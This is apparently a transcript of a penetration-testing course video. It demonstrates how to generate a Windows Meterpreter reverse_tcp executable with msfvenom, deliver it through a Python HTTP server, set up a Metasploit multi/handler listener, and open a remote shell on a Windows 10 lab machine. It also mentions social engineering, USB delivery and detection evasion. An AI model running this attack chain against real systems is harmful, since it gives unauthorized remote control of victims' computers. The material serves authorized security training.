In this demonstration, we're going to look at the tool msfvenom.
As a reminder,
this is a powerful tool that provides us to capability
to do many things on the machine.
It gives us a variety of outputs.
It can be customized and tailored for any of the
environments we might encounter.
Let's now take a look at the tool.
Msfvenom ‑h,
and you see from our actual ‑h we have all this different information.
You see at the type we've got the example of the
actual how to create the payload, which we'll do momentarily.
And once you look at this, you see we have all kinds of different options.
Now we'll do this later, but just to show you it now,
we'll clear to get to the top, do msfvenom,
and we can do encoders.
These are all the different encoders in the tool.
Now remember, this is going to be when we start trying to avoid detection,
those types of things.
The next thing we have,
and this one there's so many of we have to pipe it to more,
is the payloads.
Once we pipe it to more, it will go a page at a time.
You see here we have all these different payloads.
There are many payloads to choose from.
So you see from the output of this command.
You're probably wondering, which one?
Well, it comes down to how well you've done your research.
The more you plan and research, the more likely you are to have success.
Once you have an actual plan in place, your success probability does improve,
so it's always good to plan.
So this is kind of the concept as we do it here.
Now, one of the most popular payloads is the Meterpreter shell.
So we just run that payload and it'd be encrypted.
For now, we're just going to create an executable with the msfvenom tool.
The process is the same.
You just change the format when you're doing your executable.
In creating it, you would change it to another format,
and you're seeing there's lots of different formats.
So now, before we do this,
we have to know the IP address of our machine that we're going to connect to.
So we do it ifconfig eth0, and we see here in our example,
in this case, my inet address, which is my IP address,
is 192.168.177.179.
So now what I do is I just enter the command to create the payload.
As you see here, I have msfvenom ‑p for payload and the type of payload,
and it's windows/meterpreter/reverse_tcp.
Now reverse_tcp means the victim is going to send the payload back to me,
in this case, a shell, a Meterpreter shell.
Now we use that especially to get out of environments
that's filtered or has a firewall in place.
And then all I'm doing here is I'm actually telling it the host,
and that host, as you see, is the IP address of the attacking machine.
And then I'm going to run this,
and then I'm going to output it to Downloads/test.exe.
And that's it, and you just run it.
Now what you'll see here is because I didn't give it an actual platform,
it's because it's an executable, ‑f exe,
as you see there.
Since it's that executable,
and then no encoder is specified because for now we're just outputting raw data.
As you see here, we have a raw payload, the size of the payload,
and then where the payload is saved at.
Once we have that, now it comes into what you have to do next.
Well, you have to get it onto the victim.
Well, how do you do this?
Well, social engineering comes into play.
The most common way is social engineering or
uploading it with a removable drive, like a USB drive,
something like that.
All these are different mechanisms we can use.
In our case, we're going to use Python.
So Python has an HTTP server that we can set up and use.
So we're just going to go into our Downloads directory,
and we're going to run Python.
And you see here we've got a server HTTP on four 0s,
which is the wildcard,
which means if we have more than one network interface here,
it would actually still be open on any interface.
So all we have to do now is using a browser,
connect to port 8000, and download the tool.
So we've already done that for us over on the other side.
It's just in a browser.
We'll show that in a moment.
But before we do this, we have to set up the exploit.
So we always want to start the actual database in the tool.
So we do the service postgresql start, that starts up the SQL database,
and then we go into our tool Metasploit,
msfconsole.
Once we're in here, we use exploit,
and the exploit we want to use is called the multi/handler.
And then we set our payload because you see there it gave us a generic.
We don't want a generic payload.
So we set our payload to windows/meterpreter/reverse_tcp.
So we check our syntax, make sure it's correct.
It looks good, says payload is set the windows reverse_tcp.
So now we want to look at our options.
It's always good to look at your options, so we show our options.
And we see here the one option that's not set is the LHOST,
so we've got to set our LHOST option.
So we set LHOST, and now when we show options,
we see all three required options are set,
and our payload is windows/meterpreter/reverse_tcp.
So now that says if the user runs our code that we created,
it's going to create a shell on port four fours.
As you see here, we're using the defaults of Metasploit,
which is port four fours.
That's something when you get into more advanced you'll probably want to
change because in most cases an endpoint security will look at port four
fours and know that that's Metasploit's default.
So now all we do is we run exploit.
Now we're going to do ‑j to start as a job and ‑z to background it.
And now you see how it's a reverse_tcp handler on 192.168.177.179 four fours.
Now, at this point in time, we have to do what?
We have to go and get the victim.
Windows Defender, there's a lot of protection.
So we go over here to our Windows 10,
and you're going to see what we actually downloaded.
And see how it's in this Unblock, this box?
When we double‑click it to run,
it's not going to run because it downloaded it from the internet,
right?
So if I go over here to my browser,
you can see here there's the download of what I did,
all right.
So I'm not going to download it again.
I wanted to show you, but I will show you this.
And you see there's the directory listing.
So by setting up the HTTP server using Python,
all I have to do is click on this and download it.
And that's the process of how we set this up.
Once we've done it, that's it.
Now all we have to do is go into the properties of the file, unblock it.
click OK.
And now double‑click it, and look what we have, right there.
That's it.
Meterpreter session 1 open.
So we hit Enter, we do sessions, ‑l for list to list our sessions,
sessions ‑i for interacting with the session 1.
Now we're in that session, sysinfo.
Tells us this information about the system, in this case, Windows 10.
There's our Windows 10 box.
And that's it.
That's the whole process of how we do it.
Now since we're in Meterpreter, we do a question mark.
You have all kinds of advanced commands in here.
Now we're not going to go through that,
but you're encouraged to go through that when you do and you set up.
So in this demonstration we built a Windows executable file payload,
we got the payload over onto the victim's machine,
in this case, Windows 10, and then we ran it.
And once we ran it,
we saw that the victim's machine connected back to us and gave us a shell.
In this case, it's the sophisticated shell Meterpreter.
And since it's Meterpreter,
you can do all kinds of cool stuff, but we'll save that for another time.
It really depends what goals you have when you're doing your
assessment. We've got the shell. Now from here, it depends on what's
your scope of work and what's your rules of engagement defined. For
our purposes, we've accomplished what we set out to do, and we'll
conclude the demo here.